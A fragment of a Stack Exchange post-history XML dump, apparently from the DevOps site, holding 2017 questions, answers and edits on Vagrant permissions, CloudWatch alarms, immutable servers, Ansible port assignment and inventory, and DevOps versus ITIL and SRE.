  <row Id="559" PostHistoryTypeId="2" PostId="201" RevisionGUID="94994443-bfe2-483f-8979-a57137d9d00b" CreationDate="2017-03-02T03:37:20.703" UserId="228" Text="To identify a constraint in any process is a relatively simple task. Work moves from a person to person throughout the organization and it will simply pile up in front of a constraint. You can look for people or teams with the highest number of blocking unresolved issues for example. It depends on how you track the flow of work, but if you do track it, then identifying constraint is usually not too difficult. It helps to know the value chains for your organization and simply follow along them.&#xD;&#xA;&#xD;&#xA;[Constraints][1] can be of three types:&#xD;&#xA;&#xD;&#xA; - People: A particular skill or knowledge unique to an individual.&#xD;&#xA; - Policy: A written or unwritten policy or process, which limits the work either by increasing latency or reducing throughput.&#xD;&#xA; - Equipment: Particular computer system can limit the speed at which you can pass work through it or the number of people that can use it at the same time.&#xD;&#xA;&#xD;&#xA;In regards to software, the Software Delivery Process is often a constraint and thus [Continuous Integration][2] / [Continuous Delivery][3] is such a powerful way to elevate this constraint and subordinating the organization to this constraint is often needed to increase the throughput of work. By automation in Software Delivery you remove slow people and often costly policy obstacles and approvals. Equipment in form of Computer System upgrades is a relatively small cost comparatively to the other two.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Theory_of_constraints&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_delivery" ContentLicense="CC BY-SA 3.0" />
  <row Id="560" PostHistoryTypeId="5" PostId="201" RevisionGUID="cfa6e0c1-d3a3-4a19-927b-9e8e01dc6abe" CreationDate="2017-03-02T04:08:45.523" UserId="228" Comment="added 476 characters in body" Text="To identify a constraint in any process is a relatively simple task. Work moves from a person to person throughout the organization and it will simply pile up in front of a constraint. You can look for people or teams with the highest number of blocking unresolved issues for example. It depends on how you track the flow of work, but if you do track it, then identifying constraint is usually not too difficult. It helps to know the value chains for your organization and simply follow along them.&#xD;&#xA;&#xD;&#xA;[Constraints][1] can be of three types:&#xD;&#xA;&#xD;&#xA; - People: A particular skill or knowledge unique to an individual.&#xD;&#xA; - Policy: A written or unwritten policy or process, which limits the work either by increasing latency or reducing throughput.&#xD;&#xA; - Equipment: Particular computer system can limit the speed at which you can pass work through it or the number of people that can use it at the same time.&#xD;&#xA;&#xD;&#xA;In regards to software, the Software Delivery Process is often a constraint and thus [Continuous Integration][2] / [Continuous Delivery][3] is such a powerful way to elevate this constraint and subordinating the organization to this constraint is often needed to increase the throughput of work. By automation in Software Delivery you remove slow people and often costly policy obstacles and approvals. Equipment in form of Computer System upgrades is a relatively small cost comparatively to the other two.&#xD;&#xA;&#xD;&#xA;QA is another example of possible constraint in the process. Manual quality controls are work intensive and even automated testing can be constraint by equipment, in case the software is to run on expensive hardware. But the most common constraint in QA is policy, which tends to snowball with ever problem. The latency of the QA process and the small throughput can lead to larger units of work being put through, which can push back the cost into code integration.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Theory_of_constraints&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_delivery" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostHistoryTypeId="10" PostId="196" RevisionGUID="b3a1548f-84d5-49ff-9292-f43910583ca4" CreationDate="2017-03-02T04:20:03.877" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Woodland Hunter&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:154,&quot;DisplayName&quot;:&quot;coderanger&quot;}]}" />
  <row Id="562" PostHistoryTypeId="2" PostId="202" RevisionGUID="19d26b61-9447-4414-b367-6211b6bdfc48" CreationDate="2017-03-02T04:25:10.540" UserId="385" Text="I use [Trellis][1] for my WordPress development. It works great, except I'm finding it hard to change file (or directory) permission within the synced folder.&#xD;&#xA;&#xD;&#xA;Generally I'm OK with the default permission setup. However, sometimes I need to give write permission to some of the sub-directories of the main (NFS) synced directory.&#xD;&#xA;&#xD;&#xA;This is the [Vagrantfile][2] that uses Ansible playbook for the main configuration of the VM (I use VirtualBox). How can I make changes to this file in a way so that I can control permission to specific files and folders when I need. Since changing the permission within the vagrant synced folder on the host machine doesn't reflect on the Virtual Machine, I must at least be able to do it by changing the Vagrantfile and then re-provisioning.&#xD;&#xA;&#xD;&#xA;How can I achieve this easily that will persist upon future re-provisioning?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/roots/trellis&#xD;&#xA;  [2]: https://github.com/roots/trellis/blob/master/Vagrantfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostHistoryTypeId="1" PostId="202" RevisionGUID="19d26b61-9447-4414-b367-6211b6bdfc48" CreationDate="2017-03-02T04:25:10.540" UserId="385" Text="Vagrantfile change with Ansible playbook to control file permission on Vagrant synced folder for Trellis" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostHistoryTypeId="3" PostId="202" RevisionGUID="19d26b61-9447-4414-b367-6211b6bdfc48" CreationDate="2017-03-02T04:25:10.540" UserId="385" Text="&lt;ansible&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="565" PostHistoryTypeId="2" PostId="203" RevisionGUID="1bd355dc-4983-4462-9d42-882168f84ea9" CreationDate="2017-03-02T05:54:56.970" UserId="383" Text="The &quot;Embeddable Build Status Plugin&quot; will do exactly that:&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Embeddable+Build+Status+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="566" PostHistoryTypeId="5" PostId="203" RevisionGUID="3f23e204-0e7b-407a-8e35-dab17723d469" CreationDate="2017-03-02T06:00:31.010" UserId="383" Comment="Added note about GitHub" Text="The &quot;Embeddable Build Status Plugin&quot; will do exactly that:&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Embeddable+Build+Status+Plugin&#xD;&#xA;&#xD;&#xA;Note: This requires your Jenkins server to be accessible from the internet if you're using GitHub because they cache all images in their CDN." ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostHistoryTypeId="2" PostId="205" RevisionGUID="0e242bd6-d0e9-428b-9939-3de5dad6aca9" CreationDate="2017-03-02T09:01:43.050" UserId="46" Text="For example, I want to trigger a CloudWatch alarm for the following:&#xD;&#xA;&#xD;&#xA;`Number of messages sent` - `Number of messages deleted` &gt;= 6&#xD;&#xA;&#xD;&#xA;The above is for AWS SQS metrics. And I want that metric to trigger AWS Lambda if that alarm is set off.&#xD;&#xA;&#xD;&#xA;**Is there any way I can do it? If not, then is there any work-around** [Aiming for a serverless paradigm]&#xD;&#xA;&#xD;&#xA;_[I want to do that, cause there's no metric which tells me the number of messages currently (available) in the queue].&#xD;&#xA;So, if there's a metric which can give me that, it'd be very helpful_" ContentLicense="CC BY-SA 3.0" />
  <row Id="573" PostHistoryTypeId="1" PostId="205" RevisionGUID="0e242bd6-d0e9-428b-9939-3de5dad6aca9" CreationDate="2017-03-02T09:01:43.050" UserId="46" Text="Is it possible to set CloudWatch alarm for a combination of metrics?" ContentLicense="CC BY-SA 3.0" />
  <row Id="574" PostHistoryTypeId="3" PostId="205" RevisionGUID="0e242bd6-d0e9-428b-9939-3de5dad6aca9" CreationDate="2017-03-02T09:01:43.050" UserId="46" Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostHistoryTypeId="5" PostId="178" RevisionGUID="22c139d9-0800-4367-8e62-54cc7e8d98cd" CreationDate="2017-03-02T09:16:49.743" UserId="42" Comment="Fixed some spellings; minor tweaks to grammar and sentence structure" Text="Because you mention [tag:waterfall], I understand that the numerous branches you are alluding to are [tag:feature-branch]es rather than [tag:maintenance-branches].&#xD;&#xA;&#xD;&#xA;In this setup, I also assume that these branches are created according to a waterfall plan that tries to minimise conflicts.  This implies that the goal of the development is to produce several distinct [tag:products].  When using a single-branch development model, it is important to also work on a single product. If several products are simultaneously developed in a single-branch development model, it effectively “glues” together versions of theses products, so that we might have in version *a* of the repository a healthy product *X* and a buggy product *Y*, while in version *b* the product *X* has a regression and *Y* a bug fix, but we have no version where both *X* and *Y* are healthy.  Such a situation would force us to consider *X* and *Y* as being developed in distinct repositories, which is a hint that they should be.&#xD;&#xA;&#xD;&#xA;Therefore, the first steps should [perform a repository split](/q/171):&#xD;&#xA;&#xD;&#xA;1. Arrange the repository so that it is easy to split it into several small repositories. For instance, rearrange the current repository so that each top-level directory corresponds to a repository you want to create in the future. Doing so, you can continue to use the *branch-spaghetti* discipline everybody is familiar with.&#xD;&#xA;&#xD;&#xA;2. When step 1 is completed, refine the *branch-spaghetti* discipline by requiring that any single branch can only touch files in one top-level directory.&#xD;&#xA;&#xD;&#xA;3. When each branch complies with step 2, perform the split. Developers can easily convert their pending changes to patch a single repository, just by removing the first-level of the path.&#xD;&#xA;&#xD;&#xA;Now that the split has been performed, you can start working on the branch discipline itself.&#xD;&#xA;&#xD;&#xA;4. Introduce programming techniques helping the development of short-lived branches. Branches being short-lived is a crucial aspect of all single-branch methodologies. One of their goals is to reduce the time spent on merging and debugging long-lived branches. A popular technique is the introduction of “feature-flags” where a “factory” uses a configuration flag to either produce the historic version of an object or the new, initially partially developed, version of that object.&#xD;&#xA;&#xD;&#xA;5. By now, you have zillions of repositories with only a few branches in each, and you can turn the “we globally adopt the trunk-based development discipline” button, without seeing the original *branch-spaghetti* mountain collapsing on the trunk.&#xD;&#xA;&#xD;&#xA;The actual split of repositories might be optional, but you would then have to adopt policies that cleanly delineate the allowed scope of each submitted patch (to limit the risk of conflicts when merging changes in the main branch). Reducing the overhead bound to conflicts is one of the goals of single-branch model methodologies, so I assume this is relevant in your context." ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostHistoryTypeId="24" PostId="178" RevisionGUID="22c139d9-0800-4367-8e62-54cc7e8d98cd" CreationDate="2017-03-02T09:16:49.743" Comment="Proposed by 42 approved by 271 edit id of 50" ContentLicense="CC BY-SA 3.0" />
  <row Id="577" PostHistoryTypeId="2" PostId="206" RevisionGUID="67620557-bc8d-425f-a8de-28c21fa3c954" CreationDate="2017-03-02T10:00:36.450" UserId="13" Text="For the last overall goal, I would set the alarm on `ApproximateNumberOfMessagesVisible` from Cloudwatch [documentation on SQS](http://docs.aws.amazon.com/fr_fr/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html) this is:&#xD;&#xA;&#xD;&#xA;&gt; The number of messages available for retrieval from the queue.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Units: Count&#xD;&#xA;&gt; &#xD;&#xA;&gt; Valid Statistics: Average, Minimum, Maximum, Sum, Data Samples&#xD;&#xA;&gt; (displays as Sample Count in the Amazon SQS console)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For the more generic computed metric question I would go with a lambda running priodically, gathering metrics from cloudwatch, doing the maths and pushing back to cloudwatch.&#xD;&#xA;&#xD;&#xA;[Here](https://gist.github.com/fbrnc/5739f8bec042ac3326ad) is an example lambda gathering data from Cloudwatch to push to elasticsearch. With the [examples](http://docs.aws.amazon.com/fr_fr/AmazonCloudWatch/latest/monitoring/publishingMetrics.html#publishingDataPoints) on the documentation you should be able to push metrics back from the lambda.&#xD;&#xA;&#xD;&#xA;Be aware that calling cloudwatch API to gather and push metrics has a cost when you got over 1M request per month, there's other [limits](http://docs.aws.amazon.com/fr_fr/AmazonCloudWatch/latest/monitoring/cloudwatch_limits.html) to be aware of to avoid breaking your budget/workflow." ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostHistoryTypeId="2" PostId="207" RevisionGUID="1239ae50-11c9-4995-8dca-a88538d41448" CreationDate="2017-03-02T10:09:56.980" UserId="271" Text="The [tag:immutable-server] pattern is a deployment discipline favouring the reproducibility of deployments.  It is characterised by the fact that “[a server that once deployed, is never modified, merely replaced with a new updated instance](https://martinfowler.com/bliki/ImmutableServer.html)” and implementing this discipline requires an automation of server deployment. This automation has numerous operational advantages, one of the most important is allowing the quick and reliable replacement of failing instances in an infrastructure. This automation also implies that server deployment is described by versioned software artefacts and is subject to iterative improvements.&#xD;&#xA;&#xD;&#xA;A popular aspect of implementations of this discipline is the removal of remote access methods to the server once it has been launched (esp. removing SSH access).  Removing remote access is an easy way to ensure that the configuration of the server matches the configuration prepared by the deployment automation.&#xD;&#xA;&#xD;&#xA;However, when investigating the causes of a software failure in a [tag:post-mortem], relying on structured monitoring is not always enough and remote access to the machine could be necessary.  It is a common practical situation that server monitoring does not cover all of the failure sources, or that monitoring can be impaired by the server failure itself, which would likely be the case if the server runs out of memory or reaches its process limit.&#xD;&#xA;&#xD;&#xA;How to implement the immutable server pattern without loosing the ability to do post-mortems?" ContentLicense="CC BY-SA 3.0" />
  <row Id="579" PostHistoryTypeId="1" PostId="207" RevisionGUID="1239ae50-11c9-4995-8dca-a88538d41448" CreationDate="2017-03-02T10:09:56.980" UserId="271" Text="How to implement the immutable server pattern without loosing the ability to do post-mortems?" ContentLicense="CC BY-SA 3.0" />
  <row Id="580" PostHistoryTypeId="3" PostId="207" RevisionGUID="1239ae50-11c9-4995-8dca-a88538d41448" CreationDate="2017-03-02T10:09:56.980" UserId="271" Text="&lt;immutable-servers&gt;&lt;post-mortem&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="581" PostHistoryTypeId="2" PostId="208" RevisionGUID="76c54e31-c2a5-49c6-bd28-7a8dc7e073ac" CreationDate="2017-03-02T10:16:34.980" UserId="396" Text="&#xD;&#xA;&#xD;&#xA;I am new to ansible, but I have to maintain a set of playbooks, which correspond to services to be setup in a given environment. They need to be assigned a port, certificates, etc. This results in many files with lists of essentially always the same names and an assignment to them.&#xD;&#xA;&#xD;&#xA;In many cases I think I can easily reuse the service_name as variable, but when mapping to IPs, Ports or other numeric identifiers I have not yet figured out a way to deterministically assign them different numbers in a way that is reproducible, and preferably remains the same even when new services are added. I have considered using a SQLite db to store the services from and to generate the values from their ids, but I have no idea how to integrate that with ansible.&#xD;&#xA;&#xD;&#xA;I assume that assigning increasing port-numbers is not something entirely new is something a lot of sysadmins to on a day-to-day basis so there have to be some basic tricks to do that.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostHistoryTypeId="1" PostId="208" RevisionGUID="76c54e31-c2a5-49c6-bd28-7a8dc7e073ac" CreationDate="2017-03-02T10:16:34.980" UserId="396" Text="Deterministically and reproducably assign increasing portnumbers in ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostHistoryTypeId="3" PostId="208" RevisionGUID="76c54e31-c2a5-49c6-bd28-7a8dc7e073ac" CreationDate="2017-03-02T10:16:34.980" UserId="396" Text="&lt;ansible&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostHistoryTypeId="5" PostId="157" RevisionGUID="e9d69503-8923-4d6c-96f4-5e30dbd089eb" CreationDate="2017-03-02T10:25:38.853" UserId="201" Comment="improved grammar" Text="Both System administrators and Dev Ops workers deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between these two roles? How to distinguish them?&#xD;&#xA;&#xD;&#xA;To clarify, I'm not asking about difference between SRE (Site Reliability Engineering), but rather between sysadmins and DevOps workers." ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostHistoryTypeId="24" PostId="157" RevisionGUID="e9d69503-8923-4d6c-96f4-5e30dbd089eb" CreationDate="2017-03-02T10:25:38.853" Comment="Proposed by 201 approved by 6, 3 edit id of 48" ContentLicense="CC BY-SA 3.0" />
  <row Id="586" PostHistoryTypeId="2" PostId="209" RevisionGUID="170353d9-865f-41bc-9032-412dcec07b27" CreationDate="2017-03-02T10:27:53.970" UserId="13" Text="First of all, removing ssh on an immutable server doesn't guarantee there'll be no change, it's more that as there should be no need to change something you reduce the attack surface by removing a remote access channel.&#xD;&#xA;&#xD;&#xA;One way to keep a port of post-mortem is log centralisation. There's a myriad of methods to achieve it, ELK stack, Splunk, syslog...&#xD;&#xA;&#xD;&#xA;Another more crude way to keep a post mortem for an immutable server is to have a script on the shutdown process (an immutable server failing would be shutdown and a new one spin up to replace it) to gather a core dump of the program, a memory dump and send them to a remote system for analysis along with most of the logs.&#xD;&#xA;&#xD;&#xA;Main advantage of this solution is that you get back only failing system information at time of problem, allowing to gather larger informations than getting them periodically.&#xD;&#xA;&#xD;&#xA;It's hard to be more specific on how to achieve this, each distribution has some way to get things and I've no generic example. " ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostHistoryTypeId="6" PostId="205" RevisionGUID="bcf24b4a-402b-417f-9edd-78444b70412d" CreationDate="2017-03-02T10:33:06.143" UserId="46" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="588" PostHistoryTypeId="2" PostId="210" RevisionGUID="579e993a-233e-47b1-9897-33c566b7a74b" CreationDate="2017-03-02T10:46:34.793" UserId="397" Text="I have heard a lot about [Value Stream Mapping][vsm] and how it can be used to analyse the value stream of manufacturing processes including the process of delivering software.  I have never seen it successfully delivered in the context of software development and operations teams.&#xD;&#xA;&#xD;&#xA;What is Value Stream Mapping and how can it be applied to software delivery?&#xD;&#xA;&#xD;&#xA;  [vsm]: http://leanmanufacturingtools.org/551/creating-a-value-stream-map/" ContentLicense="CC BY-SA 3.0" />
  <row Id="589" PostHistoryTypeId="1" PostId="210" RevisionGUID="579e993a-233e-47b1-9897-33c566b7a74b" CreationDate="2017-03-02T10:46:34.793" UserId="397" Text="What is Value Stream Mapping?" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostHistoryTypeId="3" PostId="210" RevisionGUID="579e993a-233e-47b1-9897-33c566b7a74b" CreationDate="2017-03-02T10:46:34.793" UserId="397" Text="&lt;analysis&gt;&lt;project-management&gt;&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostHistoryTypeId="2" PostId="211" RevisionGUID="b899c16c-daba-463c-bcea-889ef044992a" CreationDate="2017-03-02T10:48:01.473" UserId="13" Text="Disclaimer: I'm not using Ansible.&#xD;&#xA;&#xD;&#xA;What I would do is use a random &quot;predictable&quot; number.&#xD;&#xA;According to Ansible [doc]() you can seed the random number generator:&#xD;&#xA;&#xD;&#xA;&gt; As of Ansible version 2.3, it’s also possible to initialize the random&#xD;&#xA;&gt; number generator from a seed. This way, you can create&#xD;&#xA;&gt; random-but-idempotent numbers:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;{{ 59 |random(seed=inventory_hostname) }} * * * * root&#xD;&#xA;&gt; /script/from/cron&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So in your case for a port number (I assume unpriviledged) I would go for a variable with something like:&#xD;&#xA;&#xD;&#xA;    port=&quot;{{ 32767 |random(start=1024,seed=service_name) }}&quot;&#xD;&#xA;&#xD;&#xA;Max at 32767 to avoid clashing with any client initiated port (See [Ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) for the reason).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostHistoryTypeId="2" PostId="212" RevisionGUID="a2590a88-b8c5-4a81-8ae1-6d1c1711845f" CreationDate="2017-03-02T10:52:27.420" UserId="42" Text="I've worked for companies producing software as shrink-wrap products, as fully installed and supported deployments and as embedded code in devices.  In all of those companies, DevOps provides essential support for development:&#xD;&#xA;&#xD;&#xA;* Automated, reproducible builds of software, with known, controlled configurations of compilers, libraries and other build tools.&#xD;&#xA;* Automated, repeatable system tests for regression testing and for new functionality tests.&#xD;&#xA;* Other automated and regular actions (for example, continuously updated sample screen shots available in all supported languages, for translators to verify and for technical authors to incorporate into user manuals).&#xD;&#xA;&#xD;&#xA;In all cases, these are things that individual developers *could* do as one-offs, but that would not be good use of developer time, nor have the same assurance of configuration control that the automated builds have." ContentLicense="CC BY-SA 3.0" />
  <row Id="594" PostHistoryTypeId="2" PostId="213" RevisionGUID="7a278391-14d3-405b-b4e3-09a965ee2902" CreationDate="2017-03-02T10:58:23.633" UserId="397" Text="In my career, I have been both a software developer and ITIL practitioner in an operations role. Thus DevOps was a natural progression for me.  However, I have always struggled with the highly specialised language that ITIL introduces and making that &quot;Developer Friendly&quot; enough to not be a complete turn off to developers.&#xD;&#xA;&#xD;&#xA;Is DevOps truly compatible with ITIL, or in essence do we need to take the spirit of ITIL and &quot;translate&quot; it to language that is better understood by development teams:→&#xD;&#xA;&#xD;&#xA; - Incident &amp; Problem Management → Production Defects, Bugs or Issues&#xD;&#xA; - Change &amp; Release Management → Continuious Delivery&#xD;&#xA; - Event Management → Logging, Telemetary, Instrumentation and Alerting&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostHistoryTypeId="1" PostId="213" RevisionGUID="7a278391-14d3-405b-b4e3-09a965ee2902" CreationDate="2017-03-02T10:58:23.633" UserId="397" Text="Is DevOps compatible with ITIL?" ContentLicense="CC BY-SA 3.0" />
  <row Id="596" PostHistoryTypeId="3" PostId="213" RevisionGUID="7a278391-14d3-405b-b4e3-09a965ee2902" CreationDate="2017-03-02T10:58:23.633" UserId="397" Text="&lt;terminology&gt;&lt;itil&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostHistoryTypeId="2" PostId="214" RevisionGUID="ce8de2ce-2f9d-4218-ac23-b048502e1e8b" CreationDate="2017-03-02T11:13:21.477" UserId="342" Text="I am new to ansible, I have some experience with chef, and I am considering learn and using ansible to manage some environments,&#xD;&#xA;I was wondering what would be the best practice to manage the host inventory when working with aws spot instances, the ip changed when spot goes down,&#xD;&#xA;and the old one are not relevant anymore in your host host inventory.&#xD;&#xA;also are there any other alternative ways for such use case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostHistoryTypeId="1" PostId="214" RevisionGUID="ce8de2ce-2f9d-4218-ac23-b048502e1e8b" CreationDate="2017-03-02T11:13:21.477" UserId="342" Text="How do you manage you manage your environment hosts inventory with Ansible on AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="599" PostHistoryTypeId="3" PostId="214" RevisionGUID="ce8de2ce-2f9d-4218-ac23-b048502e1e8b" CreationDate="2017-03-02T11:13:21.477" UserId="342" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostHistoryTypeId="5" PostId="214" RevisionGUID="1326b1d6-d4b9-4f19-9ac0-508d957b701d" CreationDate="2017-03-02T11:25:45.157" UserId="342" Comment="added 53 characters in body" Text="I am new to ansible, I have some experience with chef, and I am considering learn and using ansible to manage some environments,&#xD;&#xA;I was wondering what would be the best practice to manage the host inventory when working with aws spot instances, the ip changed when spot goes down,&#xD;&#xA;and the old one are not relevant anymore in your host host inventory and in general when you change instances and so on.. &#xD;&#xA;also are there any other alternative ways for such use case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="601" PostHistoryTypeId="2" PostId="215" RevisionGUID="7241f885-15da-4644-8438-e6c48a273d5f" CreationDate="2017-03-02T11:43:15.133" UserId="46" Text="You are looking for *Dynamic Inventory*&#xD;&#xA;&#xD;&#xA;Please look into [`ec2.py`][1] and [`ec2.ini`][1] of Ansible, and also the [`Dynamic Inventory`][2] docs of Ansible are very good for understanding how to manage your AWS inventory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/contrib/inventory/ec2.py&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/intro_dynamic_inventory.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="602" PostHistoryTypeId="2" PostId="216" RevisionGUID="0407ca2b-b70f-400c-9db6-5436d628e7eb" CreationDate="2017-03-02T11:55:31.177" UserId="40" Text="Another way to describe the differences between *Site Reliability Engineering* and *DevOps* is to look at [Wikipedia][1]'s explanation of a **`Site Reliability Engineer`**, which starts like so:&#xD;&#xA;&#xD;&#xA;&gt; Site reliability engineer (SRE) is a job description given to software engineers focused on reliability, scalability, and the development of cloud computing infrastructure, known as Site Reliability Engineering (SRE).&#xD;&#xA;&#xD;&#xA;So you may consider SREs as people involved in ***`Building walls`*** ...&#xD;&#xA;&#xD;&#xA;However, [Wikipedia's][2] explanation of **`DevOps`** starts like so:&#xD;&#xA;&#xD;&#xA;&gt; DevOps ... is a term used to refer to a set of practices that emphasize the collaboration and communication of both software developers and information technology (IT) professionals while automating the process of software delivery and infrastructure changes. It aims at establishing a culture and environment where building, testing, and releasing software can happen rapidly, frequently, and more reliably&#xD;&#xA;&#xD;&#xA;What it doesn't say is that all these DevOps practices are actually driggered by a **Demand** from the business side. So combined with building and testing (the **Develop** part of it) and the **Release** of software, DevOps is about a **DDR** (= Demand-Develop-Release) culture and environment, which some people may remember from these [9 seconds of a  historical speach][3] to **`Tear down this wall`**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_reliability_engineer&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://www.youtube.com/watch?v=7NjNL4Nsa4Q" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostHistoryTypeId="2" PostId="217" RevisionGUID="0fa829d6-4c93-4b38-8042-b6c8e6b4f725" CreationDate="2017-03-02T11:56:30.230" UserId="27" Text="The fact that you don't have SSH access doesn't mean there is no way to access the machine. Most likely you'll be running it on some cloud operator, where you can also do the following:&#xD;&#xA;&#xD;&#xA;* take a snapshots of the machine. You could simply take a snapshot of the box before destroying it, for later analysis.&#xD;&#xA;* access the machine through the console. You'll probably need to have the root password for this, but some cloud providers can inject a random root password for console access at any time.&#xD;&#xA;&#xD;&#xA;These are essentially &quot;physical&quot; access to your machine, and will be available even if you remove other types of access. You could limit these interfaces as well though.&#xD;&#xA;&#xD;&#xA;Apart from this as @Tensibai said the better thing to do is have proper logging and monitoring set up, so any time you'll have to do a post mortem, there are enough data available to do it." ContentLicense="CC BY-SA 3.0" />
  <row Id="605" PostHistoryTypeId="5" PostId="213" RevisionGUID="3767bc75-82f7-422a-9815-ba4ed3e2bfcc" CreationDate="2017-03-02T12:03:14.373" UserId="13" Comment="Added a link to ITIL, removed an extra arrow" Text="In my career, I have been both a software developer and [ITIL][1] practitioner in an operations role. Thus DevOps was a natural progression for me.  &#xD;&#xA;However, I have always struggled with the highly specialised language that ITIL introduces and making that &quot;Developer Friendly&quot; enough to not be a complete turn off to developers.&#xD;&#xA;&#xD;&#xA;Is DevOps truly compatible with ITIL, or in essence do we need to take the spirit of ITIL and &quot;translate&quot; it to language that is better understood by development teams:&#xD;&#xA;&#xD;&#xA; - Incident &amp; Problem Management → Production Defects, Bugs or Issues&#xD;&#xA; - Change &amp; Release Management → Continuious Delivery&#xD;&#xA; - Event Management → Logging, Telemetary, Instrumentation and Alerting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/ITIL" ContentLicense="CC BY-SA 3.0" />
  <row Id="606" PostHistoryTypeId="24" PostId="213" RevisionGUID="3767bc75-82f7-422a-9815-ba4ed3e2bfcc" CreationDate="2017-03-02T12:03:14.373" Comment="Proposed by 13 approved by 397 edit id of 55" ContentLicense="CC BY-SA 3.0" />
  <row Id="607" PostHistoryTypeId="5" PostId="213" RevisionGUID="d7cf79c5-acc0-495d-9af8-f59e3b3fb9af" CreationDate="2017-03-02T12:05:24.843" UserId="397" Comment="Added comment about ITIL history." Text="In my career, I have been both a software developer and [ITIL][1] practitioner in an operations role. Thus DevOps was a natural progression for me.  &#xD;&#xA;However, I have always struggled with the highly specialised language that ITIL introduces and making that &quot;Developer Friendly&quot; enough to not be a complete turn off to developers.&#xD;&#xA;&#xD;&#xA;ITIL is an internationally recognised IT Service Management framework that has been developed over 30 years as a set of practices that have a proven benefit to the operational stability and maturity of an organization.&#xD;&#xA;&#xD;&#xA;Is DevOps truly compatible with ITIL, or in essence do we need to take the spirit of ITIL and &quot;translate&quot; it to language that is better understood by development teams:&#xD;&#xA;&#xD;&#xA; - Incident &amp; Problem Management → Production Defects, Bugs or Issues&#xD;&#xA; - Change &amp; Release Management → Continuous Delivery&#xD;&#xA; - Event Management → Logging, Telemetry, Instrumentation and Alerting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/ITIL" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostHistoryTypeId="5" PostId="202" RevisionGUID="ab671642-eed7-4777-8fed-fcfe35593f8b" CreationDate="2017-03-02T12:11:05.777" UserId="385" Comment="updated with CODE." Text="I use [Trellis][1] for my WordPress development. It works great, except I'm finding it hard to change file (or directory) permission within the synced folder.&#xD;&#xA;&#xD;&#xA;Generally I'm OK with the default permission setup. However, sometimes I need to give write permission to some of the sub-directories of the main (NFS) synced directory.&#xD;&#xA;&#xD;&#xA;This is the [Vagrantfile][2] that uses Ansible playbook for the main configuration of the VM (I use VirtualBox). I'm not a Ruby programmer nor have I worked with Ansible, however, by the looks of it, the following is the part of the `Vagrantfile` where file permissions are being set:&#xD;&#xA;&#xD;&#xA;    if Vagrant::Util::Platform.windows? and !Vagrant.has_plugin? 'vagrant-winnfsd'&#xD;&#xA;        wordpress_sites.each_pair do |name, site|&#xD;&#xA;            config.vm.synced_folder local_site_path(site), remote_site_path(name, site), owner: 